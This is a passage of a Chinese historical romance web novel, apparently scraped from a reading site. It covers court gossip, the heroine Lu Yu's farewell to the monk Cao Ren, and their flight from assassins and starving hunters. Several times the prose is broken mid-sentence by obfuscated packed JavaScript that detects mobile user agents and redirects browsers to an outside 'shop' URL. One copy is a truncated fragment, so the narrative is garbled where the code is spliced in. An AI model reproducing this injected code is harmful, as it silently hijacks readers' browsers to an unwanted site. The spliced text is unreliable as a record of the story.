他真是傻瓜,如此折腾,她倒是睡得很香,他却把睡眠都用来赶路了。 可她又如何忍心主动说不用他奔波呢? 曹壬如此奔波了十多日,这期间,红枣莲子羹换成了银杏红枣羹,又换成了山药红枣糯米粥,味道一如以往的可口,可他始终未曾露面。 月底最后一天,曹壬煮好粥后,留了一句话:次日是初一,他要在清凉台讲经,所以初一的早膳由定北侯府提供。 不知不觉,竟已经喝了十多日的汤药,医官给陆萸把过脉后,给她换了个方子。 听说还要继续用药,陆萸愁苦不已。 陆妘见状,用手指敲一下她的额头:“不想喝药就好好听医官的嘱托。” 陆萸揉揉额头,笑着保证:“我一定听话。” 柳如筠确实是个人才,陆萸这几天将茶品店的往年账本交给她,顺便说了以往的管理模式,才过了七日,她就上手管理了。 如今,书店有陈蕊和陆婠分担,茶点有柳如筠全权管理,陆萸倒真清闲了不少。 等医官开好新方子退下后,陆妘给她带来了洛阳城内一些小道消息。 上个月郑氏老夫人病逝后,原太傅郑荃只能归家丁忧,太傅之位空缺,当今圣上提出如今太子未定,就暂时不着急定太傅之位。 可有朝臣言应该立马定太傅,好让新太傅在陛下选定太子时,帮忙掌掌眼,有一波朝臣又认为,现在定太傅选定太子容易受到干扰,言下之意担心太傅以权谋私选自己看上的藩王公子为太子。 就这样,连续几日朝会都争执不休,甚至有人为此大打出手。 陆萸以为能居高位者皆是老谋深算之辈,自然都是高冷严肃的,如今听了,咋舌不已,忙问:“真的在大殿打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552615|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来了?” “那是肯定的,若非脱履上殿,估计打得更难看”陆妘回。 想象一下打架打得鞋子漫天飞的场景,陆萸忍不住笑出声。 她问:“具体是哪些人参与了?” “听闻场面乱得很,根本分不清谁是谁了。” 好吧,原以为是单打独斗,如今竟然是群殴?这还真是刷新了陆萸对大魏朝堂的认知,也不知他们在下面打的时候,上首的曹启皇帝是何种心态。 想必是很开心的,毕竟没有哪个皇帝会喜欢底下的大臣们大团结。 听说大臣们下朝的时候都有不同程度的受伤,虽然都是小伤,但是有的破了点相,连着几日都不好意思出门。 这也真是,男人大家竟然学女人乱抓,真是害羞的紧。 讲完这个八卦,陆妘又讲了范阳卢氏公子的消息。 上次那个被卢公子一掷千金追求的庶女正好是郑氏女,郑氏女还在孝期,卢公子就高调示爱,这让郑氏一族觉得受到了莫大的侮辱。 郑氏自然不会收下价值千金的中秋礼盒,他们不但没有收下,还进宫去太后那里哭诉,哭诉卢氏一族仗势欺人。 太后听后,让人传口谕给卢老夫人,斥责其未能认真教导儿孙。 如此一来,卢公子由爱生恨,干脆一不做二不休,找人堂而皇之地在大街上把郑氏女给掳走了,然后放出狠话:郑氏女自此以后,生是卢氏的妾,死是卢氏的鬼。 在昨天下午,郑氏受不住卢公子的折磨,已经投缳自尽了,郑氏女的侍女拼死才将消息送回郑氏。 昨天夜里,郑氏一族召集一大波人,浩浩荡荡地去卢氏府宅将郑氏女的尸身抢了回来,闹得全洛阳的人都知道了。 “那卢公子就是个浪荡子,谁被他看上,就真是倒大霉了,还好你近日一直在这里养病”陆妘后怕道。 这估计就是谢洐说的外面不太平,郑氏女的事一出,洛阳城的庶女们人人自危,连门都不敢出来。 “想不到,她身为太傅的孙女,也会有身不由己的时候”陆萸叹道。 其实郑氏一族若真想保住郑氏女,被卢公子抢去当日就该去把人抢回来,而不是人都死了,才去抢尸体。 或许他们也认为已经成为妾氏的郑氏女,不值得家族与范阳卢氏撕破脸。 如今闹出人命了,想到当初太后还是支持郑氏的,于是故意闹出大动静,这样,待郑荃丁忧结束后,朝中人还会记得他,出于同情,当今陛下或许还会给他留个好位子,真是打了一手好算盘。 这场悲剧中,可怜的只有郑氏女,而范阳卢氏,出了这个事以后,在朝中就不好和荥阳郑氏公开叫板了,毕竟世家都爱讲面子,他们如今欠了郑氏一条人命,是理亏的一方。 陆萸听后唏嘘不已,卢公子如此胆大妄为,闹出一条人命,最后却只是被免去太子家令丞(从六品、掌仓谷饮食)的职务,而他的父亲在太尉职位上,更是一点都没有受到影响。 通过这次的事,陆萸再次梳理了范阳卢氏在朝中的地位,因和清河崔氏是姻亲,范阳卢氏在朝中的人际关系网亦错综复杂。 郑氏抢回郑氏女的尸身后,荥阳郑氏做的第一件事是大肆操办她的葬礼,葬礼盛大程度甚至快要赶上上月去世的郑老夫人。 郑氏如此高调举办葬礼,在大魏赚取了一大波好名声,哪怕是被抢去为妾的庶女,亦得家族如此珍视,只能说明荥阳郑氏不畏强权、刚正不阿、家风清贵。 自此以后,郑氏未出嫁的女子都成了各大世家争先求娶的对象,当然这些都是后话。 因为郑氏女的葬礼邀请了白马寺僧人做法事,陆萸再次见到曹壬,已是一个月后了。 59. 第五十九章 最初 荥阳郑氏因自家女郎是冤屈而死,所以特意请了白马寺僧人给她做了一场盛大的超度法会,甚至特意要求慧悟法师出席。 因此,曹壬在清凉台讲经结束后次日,天才刚亮就与师兄弟们一起赶去了郑氏府宅。 而待到超度法会结束时,距那次和谢洐的一场交谈,已过去了整整一月。 整整一月未能相见,他心底的隐忍和克制终于破防,待师兄弟们都赶回白马寺后,他立马赶来了星火书店。 至星火书店的后院时,陆萸正在给星火课堂的新学员们上课,午后的阳光明媚,教室中传来郎朗的读书声,是《三字经》。 曹壬就在大枣树下席地而坐,感受秋日的清风吹拂脸颊,听着陆萸平和欢愉的讲课声,偶有学生在听课时发出欢笑声。 这个秋日午后,一切都这么美好,安静、祥和。 陆歆安排授课的讲师明日就能至洛阳,陆萸今日组织新学员上一次简单的课。 上午通读一遍《千字文》,讲解星火课堂的授课方式及课堂规章制度,下午则带着大家通读一遍《三字经》,为以后的课程做预习。 新学员皆是大市商贩的孩子,对这样新奇的授课方式很感兴趣,一下午的课很快就结束了。 学生们和陆萸告别后,见到院中的曹壬也不忘行礼打招呼问好,这是一群充满朝气的孩子,如当年的陆萸。 不多时,学生陆续被接走,最后院中只剩下二人。 陆萸手中抱着课本,站在教室门口,双眸明亮,看着曹壬:“君期,许久不见。” 她不问他为何现在才来,也不提他煮的早膳,只这般轻声问候,却已胜过千言万语。 “许久不见,你还好吗?”曹壬笑回。 “如你所见,我很好”陆萸忍住走向他的脚步,痴痴地看着他回。 她的气色比上次晕倒时好了很多,连续一个月的汤药加食疗,不但气色好转,还胖了一点,脸上的小酒窝又出现了。 眼前的少女和记忆中脸蛋圆圆的小青团重叠,曹壬走近她后,低喃:“又能见到如初见般康健的你,真好。” 午后凉爽的风再次吹过,大枣树绿了一夏的树叶慢慢变黄,黄色的叶片随风飘然落下,一时间,陆萸和曹壬都静默不语。 即便已经恢复成当年的健康模样,她亦不能再如当初那般,跟着他习字、垂钓、放纸鹞和游湖了。 “君期,我安排好课堂相关事宜后,就要回建业了”陆萸主动开口。 闻言,曹壬的心底狠狠一痛,他多想问一声:何时归来,我们何时再见? 然而说出口的话变成:“回去也好,北方太过干燥,不适宜养病,且最近都城不太平,回建业更安全些。” 陆萸点点头:“我也是这样想的。” 她脸上笑着,眼中却已经噙满泪水。 忍了好一会,她才道:“明年佛诞日,我会去白马寺看你辩经,所以接下来的日子,你好好和住持学佛法吧。” 曹壬克制住想要揽她入怀的冲动,凝视着她回:“定不会让你失望的。” 他那日离开后想了很多,只是还没想出结果,就遇到郑氏的法会。不曾想,今日难得再次相见,却是一场告别。 那些刚刚在路上想了许久的话,此刻已无法说出口,他无法给她任何承诺。 如今的他,除了慧悟法师这一层身份,什么都不是。 经郑氏女一事,他终于可以理解谢洐的声声质问,他确实一无所有,甚至连保护她,都不可能做到。 “我们明年再见”陆萸笑着开口,眼泪却不争气的滚落脸颊。 曹壬见状,心口愈发疼痛,手迅速抬起,想为她拭去眼泪,可刚要触碰到她的脸颊,便被她轻轻偏过头躲开了。 陆萸用手指轻轻抹去眼角的泪后,笑道:“男女之间,最难的不是情爱的发生,而是将这烈火隐忍成清明的星光,照耀各自一生或繁华或寂寥的长夜。 所以,君期,我们可以成为彼此的星光。” 此时此刻,曹壬心底的痛,开始密密麻麻爬向四肢,他几次动了动嘴唇,却发不出任何音节,唯有眷恋不舍地看着她。 “阿萸”他出声时,已然哽咽:“你一直是我的星光。” 又有眼泪滑落脸颊,陆萸迅速一把抹掉,然后笑着道:“那次在行云院,是你看着我离去,这次换我吧。” 延毕,她抱拳行礼:“慧悟法师,珍重。” 曹壬的不甘不愿和残酷的现实在脑海中不停拉扯着,只能靠着这深情的凝视,靠一遍遍去记住她的笑容,才能缓解那已深入骨髓的疼痛。 可如今,他不得不迅速闭上眼,克制住眼底的热意,才再次睁眼,双手合十:“阿萸,珍重。” 陆萸就这样看着那一身棕色袈裟渐渐消失在眼前,或许,当年他也是这般坐在海棠树前看着自己离去吧? 不同的是,那时他抱着必死之心,而如今的她,想的却是二人的下次相见。 这只是一场生离,明年佛诞日,他们还会以更好的姿态再次相见的。 理智的陆萸再次回归,立马投入到星火课堂的工作安排中去了。 二人都回到了最初的状态,可他们都想不到的是,有人正谋划着破坏他们的计划,这人就是曹启皇帝。 要说曹壬在白马寺皈依后,谁还继续关注着他的红尘动向,曹启皇帝说第一,估计没人敢说第二。 曹启皇帝自当年和曹壬一番相交后,看太学中那些汲汲营营的藩王公子们越看越不满意,选太子的事也就一拖再拖。 奈何他看上的太子人选无心皇权呀,他也真做不到去白马寺和佛祖抢人。 最主要的是,他愿意抢,曹壬也未必愿意来,若是真闹得个鱼死网破,那才真是得不偿失。 于是曹壬剃度之后,他只能憋着坏等待一个良机,这不,等了三年之久,终于被他发现了冷情冷性的慧悟法师竟然也有所在意的人。 当听说慧悟法师频繁前往星火书店买书时,他别提有多兴奋,好像一瞬间年轻了好几岁。 可惜,眼看时机越来越成熟,就差最后一把火了,他们二人却都退缩了,一切又回到原点。 曹启皇帝在听了禁卫军统领报来的消息时,好一阵长吁短叹:“子德,这两人都是血气方刚的年龄,怎么就能都这么理智呢?” 禁卫军统领是夏侯氏的后人,名夏侯湛,字子德,夏侯世家以军功起家,虽然曾被世家大族打压过一阵,但一直深得历代君主的信赖。 夏侯湛也很佩服慧悟法师的觉悟,为了心中普度众生的大义,竟然可以生生忍住爱意,放弃与心爱之人相守。 当然,他更佩服眼前帝王的执着,他派去的眼线一蹲就蹲了三年,如今好似仍然不愿放弃的样子。 沉吟片刻,夏侯湛立马道:“卑职觉得事情并非完全没有转机。” 曹启皇帝闻言,立马来了精神:“是何转机?速速说来。” “前日陛下不是收过陆侯的信吗?卑职觉得这就是转机”夏侯湛笑道。 前日,陆歆自会稽写了一封密信向曹启皇帝请示,信中内容是:雍州牧李信听闻朝廷已经允了荆州开办星火书院,他考虑到雍州境内胡汉杂居不好管理,所以想效仿荆州在长安开办一所星火书院。 建校舍的费用由雍州自行承担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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曹启皇帝先是与主持分享雍州即将开办星火书院的喜悦,然后不经意经问曹壬皈依白马寺后可曾去其他佛寺参学,若没有,这次可以派他去长安,有陆氏部曲一路随行,白马寺的僧人也能更安全些。 皇帝的提议让净觉也心动了,他早就想派寺中弟子去长安,奈何近些年雍州境内时有胡人内乱,且听闻途径之处又因旱灾导致山匪横行,所以这两年一直未派弟子前往长安,如今若能和陆氏部曲一同出行,再好不过了。 于是,如曹启皇帝所料,净觉当场决定,让曹壬带着两名师兄个两名武僧前往长安鸡鸣寺参学。 除了参学,此番曹壬还有重要任务,要将龟兹法师翻译的几部经书誊抄回来。 龟兹法师圆寂后,翻译的经书除了有一部分存放草堂寺,大部分被拿去鸡鸣寺保管,毕竟鸡鸣寺是有名的大寺,僧人众多能更好的保存经书。 陆萸安排完星火课堂的事后,正打算收拾行囊回建业,却听到了陆弘带来的消息。 陆三叔已和陆氏部曲一同北上,不日将抵达洛阳,他们至洛阳稍作休整后,将和白马寺僧人一同前往长安,而曹壬就在其列。 闻言,陆萸惊问: “君期也要去长安?” 她从大市的学生口中知道,洛阳至长安既有匪患又有胡人作乱,危险的很。 陆弘神色凝重的点点头:“九堂叔已得了陛下口谕,务必增派人手一路保护慧悟法师一行人前往长安城外鸡鸣寺。” 陆萸听后,心中顿时方寸大乱,鸡鸣寺,也叫“真身宝塔”,曾用名阿育王寺,先帝时期改名为鸡鸣寺,而在陆萸前世知道的历史中,鸡鸣寺在唐代被更名法门寺。 一切好似又回到了故事开始的地方。 60. 第六十章 遇险 陆萸不是个迷信的人,毕竟法门寺的故事是她当年一时兴起所讲,若非要联想在一起确实牵强。 只是现下涉及到曹壬,她又不免担忧起来,故事是假的,如今世道不平却是真的,雍州牧前阵才平了一次胡人作乱。 陆弘见妹妹一脸担忧,出口安慰:“有陆氏精锐一路同行,君期不会有危险的,你无需担心。” 话虽这么说,陆萸却忍不住钻起牛角尖,为何是法门寺?长安城外不是还有个草堂寺吗? 她道:“我不回建业了,要去长安。” “什么?简直是胡闹”一旁的陆妘闻言,气愤打断:“就不该让阿兄告诉你。” 陆弘也瞬间不悦:“我原是想让你和君期好好作别的,谁知弄巧成拙,你想随行是万不可的。” 可陆萸很是坚决:“待三叔来了,我自有办法说服他带我一同前往。” 好吧,陆弘是知道妹妹执拗起来无人能劝,只得无奈一叹:“但愿三叔不会同意,不然我定会后悔今日跑这一趟。” 陆妘看陆萸就愈发恨铁不成钢了:“你这身体才刚养好,又要瞎折腾,真是可惜了前阵那些好药材。” 陆萸一个劲地想陆妘赔笑:“我若心中一直记挂担忧着,肯定食不下咽夜不能寐,那不也是浪费了药材?” “巧言令色”陆妘气得话都说不出来了。 心里再次把曹壬记恨上了,想着下次他若是再拜访定北侯府,一定着人把他打出去。 陆弘知道妹妹从小就有主见,还是个倔脾气,也就懒得再劝,而是拉着陆妘走了。 陆萸不是个容易放弃的人,待陆三叔至洛阳,她还真就说服了陆三叔。 她的杀手锏就是建造书院的图纸,如果有她亲自讲解图纸,建造工期可以缩短,且长安书店有她出面筹办,肯定能又快有顺利的完成,这样才能不耽误赶回华亭祭祖。 凭着这两项,陆三叔只犹豫了一下就同意了,他虽然也知道去长安的路途遥远,但他习惯了在外奔波行商,如今有陆氏精锐护航,肯定没有想象中那么可怕。 而且他也有自己的私心,侄女如既然想学行商之道,那就该给她机会历练,所谓行商,不远行是不能体验到“行”的真谛的。 所以他飞鸽传书给父亲得到同意后,反而还做起了定北侯夫妇的思想工作。 陆三叔在洛阳休整准备期间,白马寺即将出发的五名僧人也没闲着,他们要花七天的时间完成高强度的骑术训练,毕竟这一路情况复杂,徒步或者乘马车都不利于应对突发的危险。 一切准备好,大家就出发了。 白马寺僧人是在城外十里亭与陆氏一行人汇合的,陆萸换上男装后和三叔一起躲在马车里,而三伏责换上了男装混在了部曲里,所以大家一起行进了三天三夜,曹壬都没有发现陆萸。 他们此行共带了一百名部曲,配有足够的马匹和食物,白日里陆萸就和三叔躲在马车里,到夜里支好帐篷后,三叔去帐篷休息,她就留在马车里。 这些部曲都是训练有素的,考察地形、找水源、支帐篷、做吃食等都有极高的效率,所以几天下来,还算顺利。 因为曹壬有师兄弟同行,陆萸既不想他为难,又不想让他担心,所以她从没打算在路上和他相见。 心想,能够这样一路跟着,知道他安全,她也就知足了,等到了长安再相见也不迟。 谁知,顺顺利利的了走了五天后,第六天黄昏竟然遇到山匪了。 他们这次除了带有粮草,还拉了一些长安书店开店用的书籍,所以吸引了山匪的注意力。 一切发生的太快,这是陆萸来到这个世界,第一次如此直观的看到被山匪打劫。 陆三叔倒习以为常了,安慰道:“小九莫怕,这些山匪成不了气候,一会就能开路了” 陆萸偷偷掀起帘子一角观察着外面,山匪数量不少,但是和训练过的陆氏部曲比还是差了一些。 白马寺的两名武僧一起参与对抗,而曹壬则护两名师兄前面,没有主动出击。 看了一会,陆萸悄悄放下了帘子。 车外的打斗声持续了一会,在陆萸以外快停下的时候,突然有护卫来报:“主公,又来了一波劫匪,不过是冲着慧悟法师来的。” 闻言,陆三叔坐直身子肃声问:“可看清他们有多少人?” “大概三十多人。” 闻言,陆三叔松了口气,三十多人倒也不足为惧,但他仍严声交待:“不可松懈,要护好法师。” 护卫答诺后退下了。 陆萸却紧张不已,曹壬都已经皈依佛门了,怎么还会有人想找他麻烦? 她再次偷偷掀起帘子查看,只见场面比刚才更加混乱,刚才那些劫匪都是冲着拉货的车而来,后面这波蒙面人却都冲着曹壬围了上去。 曹壬的两名师兄已经被陆氏部曲护到隐蔽的位置,曹壬和武僧已正式进入战斗状态。 这是陆萸第一次看他施展白马寺的棍法,一招一式都那么快准稳,看得她眼花缭乱。 佛门棍法,为的是自保,所以在施展的时候只为打退对方,并没有杀气。 陆萸正看得认真,突然听到三伏一声大喝:“公子小心。” 正在对战的曹壬听到这声“公子”,猛然抬头看去,只见一直箭矢稳稳的射在了车窗旁。 他心神一晃,差点被迎来的刺客所伤,好在一名武僧替他打退了仅供。 陆萸在听到三伏的声音时,快速退了回来,但听到箭矢射入木板时,发出那声“嘟”的声音时,还是被吓得不轻。 叔侄两正面面相觑,就听一名护卫焦急出声:“好像又有一波刺客来了,还请主公和公子速速弃车,属下护送二位去隐蔽的地方。” 对方还未现身却已有箭矢飞来,一直躲在车内只能坐以待毙,反而骑马逃离的话,活下来的胜算更大。 陆三叔行商多年,遭遇匪患无数,但入今日这般一波接一波的情况还是第一次,匪患竟然拥有如此精湛的箭术,这已超出他的预期。 他没有犹豫,和陆萸一起换上和部曲一样的衣服后,迅速出了马车翻身上了早已备好的马匹。 陆萸前阵子为说服九堂叔夫妇,苦练了好几日骑术,只是想不到这么快就派上用场了。 骑在马背上,她遥遥看向曹壬所在的位置,她不会任何兵器,也没有武力值,所以只会听话得跟着三叔,曹壬能自保且有部曲相护,她不会过去捣乱。 看过一眼后,她打马转身跟着陆三叔去了另一头。 曹壬却是在她遥遥相望的一瞬,既惊又怕,她怎么会出现在这里?一路同行却一直为露面,若非今日这番变故,她打算一直躲着自己吗? 这般想着,他既觉得难受,又止不住为她担忧,而手中的木棍因这样的情绪,在他挥出去的时候更加快速且狠绝。 蒙面刺客瞬间被打怕了,慢慢退了回去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573780|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆三叔和陆萸还未能离开战乱圈,一波刺客就围了上来。 这次,叔侄两都明显感觉到他们的目标是陆萸。 陆萸瞬间一脸懵逼的看着三叔,她好像没干什么伤天害理的事需要别人复仇吧? 曹壬看到陆萸被困,也顾不得其他,所出招法,招招皆是狠招,费力突出重围打马追上了陆萸。 他见到陆萸第一句话:“你为何要同行?” 陆萸边打马躲避边回:“专心应敌,现在不是问这个的时候。” 曹壬突围后,三波歹人混到了一起,各有所图,场面变得更加混乱了,陆萸和陆三叔被第二波刺客冲散了,可第三波刺客依然对她穷追不舍。 曹壬一直紧紧护着她,好在除了前面那几只箭,后面再也没有人放箭。 陆氏部曲也在极力替陆萸解围,奈何第三波刺客人数越来越多,慢慢地,陆萸和曹壬被追得脱离了队伍。 不知过了多久,二人才发现身后已经全是刺客了。 二人此刻也来不及叙旧了,只想着如何以最快的速度逃过这波追杀。 太阳渐渐西沉,山路慢慢变得暗淡,身后的马蹄声却一直未停下,眼看有一条岔路,曹壬大喝一声:“阿萸弃马!” 还未待她回过神,曹壬已经伸手将她拖上他胸前的马背上,陆萸骑的那匹马继续前行,曹壬则更加用力的鞭策了身下的马匹扭转马头,向另外一条路奔驰。 陆萸被曹壬一整个护在前胸,因天色渐暗,她看不清快速移动的景致,只听得耳畔传来“呼呼呼”的风声。 曹壬神色严肃,抿着嘴,双眼注视前方道:“这法子只管了一会,待他们发现上当,还会追上来,所以我们在他们发现之前还得再弃马。” 言毕,他低头看向陆萸:“害怕吗?” 陆萸将头贴在他胸前:“有你在,我不怕。” 如他所言,二人还未能走多远,远处已经有阵阵马蹄声传来。 曹壬看准时机,低声说了声:“就是现在,抱紧我!” 然后松开缰绳,抱紧陆萸纵身从马背上跳入了旁边的树丛中,他刚才已经看清了这里是个小坡,从这里滚下去不会受伤,且有夜色和密林护着,他们不会发现。 陆萸依言扭头抱紧他后,紧接着掉入一片漆黑中,耳畔不断传来杂草和树枝被压到的声音,身体也跟着一起不断翻滚而下,不过一直被他护在胸前,所以也没有受到什么伤害。 不知过了多久,二人不再继续往下滚,陆萸还是一动不敢动,她很清楚此刻刺客肯定在上方不远处。 而曹壬则一直护着她,精神高度集中的听着上方官道上的动静。 为了护着她跳马,他已经把木棍扔掉了,如果此时被发现唯有肉搏,他一刻都不敢松懈。 就这样,二人在一片静谧的树丛中,高度警戒地抱着彼此趟了许久。 天越来越黑,渐渐传来虫鸣声,月亮也悄悄爬上树梢。 陆萸从曹壬的肩头看出去,看到了皎洁的月光透过树梢如水一般洒落下来,闻着从他身上传来的檀香味,她突然变得没有那么紧张恐惧了。 她悄悄收紧了抱住他的双手,安静的躺在他的怀抱里欣赏起无声的月色,她已经很久很久没有和他一起赏月了。 若他的法门寺之行注定是一场生死难料的旅途,那比起觉能和元公主,她依然是幸福的,因为她此刻还能感受他的温度,还能听见他有力的心跳声。 61. 第六十一章 大旱 夜,越来越深,也越来越静,确认没有追兵后,曹壬才想起低头去看陆萸。 只见少女原本看着身后月光的双眸也转过视线看向自己,许是月光太亮,她那双眼睛此刻好似装满明月,如水般温柔。 陆萸眨了眨眼睛,嘴上无声问:“安全了吗?” 曹壬这才猛然回过神,忙松开手坐起身子:“上面没有响动了,应该算暂时安全了。” 言毕,起身整理了僧袍,然后不自在的环顾似周围的环境。 总算安全了,陆萸松了口气。 她没发现曹壬的异常,而是起身整理了一下衣服上挂着的树枝和头发上的枯枝败叶。 为方便行动,她和陆三叔换上的衣服都是深褐色的短打,布料是细麻布和葛纱,既牢固又耐脏。 二人一起查看完环境后,终于想起一件重要的事,两人都没带火折子。 陆萸的是落在马车里了,而曹壬的包袱留在刚才那匹马背上了。 “抱歉,是我失算了”曹壬自责道。 刚才只顾得弃马逃生,忘了先把包袱解开仍下来。 “刚刚时间太紧迫,你也是为救我,所以不用道歉,我还带了兵器,防御野生应该可以。”陆萸说着,拿出别在短布靴里的匕首给曹壬看。 这是一把看似很普通的匕首,可当初陆歆给她的时候说过此匕首削铁如泥,用的材质和大月氏最好的弯刀一样。 曹壬拿过陆萸手中的匕首,对着旁边一颗拇指粗的树砍了一刀,树枝竟然立即应声而断。 “若有野兽,比匕首倒真能抵挡一阵”曹壬道。 见月亮在慢慢下沉,他趁着月色选了一颗手腕粗的树,然后快速将树砍倒,再继续用匕首修整成一根趁手的木棍。 他将木棍递给陆萸:“虽比不上白马寺的木棍,但也能驱赶野兽。” 不多时,月亮彻底看不见了,二人所在的密林陷入黑暗中。 陆萸坐在地上,紧紧握住手中的木棍,看着地面道:“正如你所说,我不该来的,来了不但帮不了你还拖累了你。” 曹壬听了,立马在她身旁坐下,回道:“方才见你危险,着急出口的话,你不要往心里去,能再次遇见你,我很欢喜。” 陆萸抬头看向他道:“我没有出来打招呼,是因为你有师兄弟同行,我怕你为难。” 曹壬:“我知道。” 陆萸问:“那些刺杀你的蒙面人,你能猜到是何人所为吗?” 曹壬隐约猜到可能是某个藩王公子所为,但为免陆萸担忧,只是摇了摇头,问:“追我们这波刺客呢?你有什么眉目吗?” 说起这个,陆萸更郁闷,不但毫无头绪,如今回想起来,还觉得很怪异。 他们在切断曹壬和陆萸与陆氏部曲的接应后,反而没有急着刺杀,而是像猫抓老鼠,在耗着他们。 “莫非,他们想活捉我用来威胁某人?”陆萸疑惑道。 曹壬也觉得这个可能性不小,他们明明有箭却不用,只这样对二人死追,和那波刺杀他的刺客不一样。 他回道:“如此说来,第三波刺客反而安全一些。” “唉,都不安全,若是他们换不到想要的东西,然后撕票,那也很惨。” 陆萸心想,可能这些人是想和祖父谈条件,或许是为印刷术或者造纸术的配方。 想通了,她道没有那么担心了,反倒是追杀曹壬的比较可怕。 “也不知部曲有没有把那些蒙面刺客打退了。” “我观那行人只想速战速决,如今我被第三波刺客无心之下追到这里,他们估计就不会再留下来了。” 留下来容易被陆氏部曲抓住暴露身份,他们刺杀失败肯定快速撤退了。 “如此说来,我们可以暂时喘口气了”陆萸说着,整个人终于松懈下来,干脆找了棵大树靠好。 曹壬拾起地上的棍子,将周围的灌木丛都巡视了一遍,才坐回陆萸身旁。 他没有靠大树,而是如打坐修禅一般,盘腿而坐后,道:“你累了就先休息一下,我在一旁守着。” 夜非常寂静,静得有些异常,除了虫鸣声,竟然连夜鸟的叫声都没有。 未必,陆萸心里担心着是否有野兽正守在不远处,可如今二人没有火折子,除了留在此处,去不了任何地方。 曹壬已经完全进入打坐状态,她想说的担忧唯有悄悄咽下去。 说与不说,也改变不了什么,反而不利于各自恢复体力,这般想着,她放松心比起眼睛休息起来。 不知过了多久,曹壬低声轻唤一声“阿萸”,没听到她的回应,他才睁开眼去看她。 想是累极了,她已经闭着眼歪着头睡着了。 他轻轻退下自己的外衫罩在她的身上,看着她虽然睡着仍皱眉的睡容,二人的距离如此近。 感受到她均匀呼吸时轻轻呼在脸上的热气,曹壬的脸忍不住红了,他抬手轻轻替她抹平了眉间的焦虑,然后轻轻退回来,恢复了打坐的坐姿。 至天快亮时,陆萸好像做了什么噩梦,带着痛苦呓语了一声。 他一夜未睡,所以很快就发现了,也顾不得礼仪,立即俯身靠近她耳畔低声安慰道:“阿萸别怕,我守着你。” 许是听到他的声音得道了安抚,陆萸脸上的痛苦消失了,她闭着眼将原本靠在树上的头倒到了他的肩膀上。 曹壬的身子有一瞬间的僵硬,双手也不知道该如何放,就这样保持了一段时间,待确定她已再次深睡,他才扶稳她的头,轻轻转动自己身体和她一起并排靠在树上,然后将她的头重新放回肩膀上。 耳畔不时传来她均匀的呼吸声,她呼出的热气不停落在脖子根处,曹壬比打坐时更加觉得累。 他不得不闭上眼睛,不断念着《清心咒》。 第二日清晨,天光微亮,曹壬呼出一口热气,只见浮起一团白雾。 山间的清晨竟然这般冷,他原想退出来的肩膀又继续留给陆萸靠着,二人挤在一起,她应该能暖和一些。 陆萸醒来时,已艳阳高照,曹壬早已悄悄退回打坐的位置。 她扭了扭脖子,边揉发酸的位置边疑惑自己明明靠的是树干,怎么会有一种落枕的错觉。 见曹壬还在闭着眼打坐,她醒来后没有马上起来,而是安静的看着他。 打坐时的他,仿佛与天地是一体的,所有凡尘俗世都与他无关。 不知过了多久,见他睁开眼,她笑道:“君期,早上好。” 他第一次在睡醒睁眼的那一刻看到如此明媚的笑容,恍惚了一瞬间后,才笑回:“阿萸,早上好。” 山间的清晨空气很好,升起的薄雾逐渐散去后,二人起身寻找出去的路。 可这一找,他们发现了一个可怕的事实,树林里什么都没有。 成片树木干枯而死,看不到任何鸟兽的踪迹,地上的草好似已被什么东西啃尽,难怪昨夜听不到任何鸟鸣声。 “原来遭遇大旱后的树林是这个样子的”陆萸怔怔地看着眼前的树林道。 曹壬听后,神色非常凝重,他知道他们必须尽快走出这片密林,不然还会有未知的危险还在等着他们。 可他还来不及和陆萸说,不远处就传来了惊喜声“快看,有活人,还是个细皮嫩肉的。” 陆萸在听到人声的时候以为终于能走出去了,高兴倒:“君期,我们有救了。” 可还没来得及高兴太久,曹壬一把拉着她向后奔跑起来。 曹壬边跑边道:“不要回头,他们是来找食物的。” 陆萸还没回过神,身后的一波人已经兴奋得喊着:“快追,有上等好肉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575461|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她听了,只觉得背后阵阵发凉,他们口中的好肉,好像是自己??? 曹壬用尽力气拉着陆萸奔跑起来,奈何他们对林子不熟悉,唯有慌不择路不停向前跑着,身后的猎人们越追越近。 不知跑了多远的地方,陆萸已经完全靠曹壬拖行,那波人却离他们越来越近。 陆萸在这一刻闻到了死亡的气息,他们欢呼着,眼中发出像饿狼一样兴奋的光。 她没有任何时候如此刻这般感到后悔,后悔自己的任性,后悔从马车里出来,后悔不听兄长的话回建业。 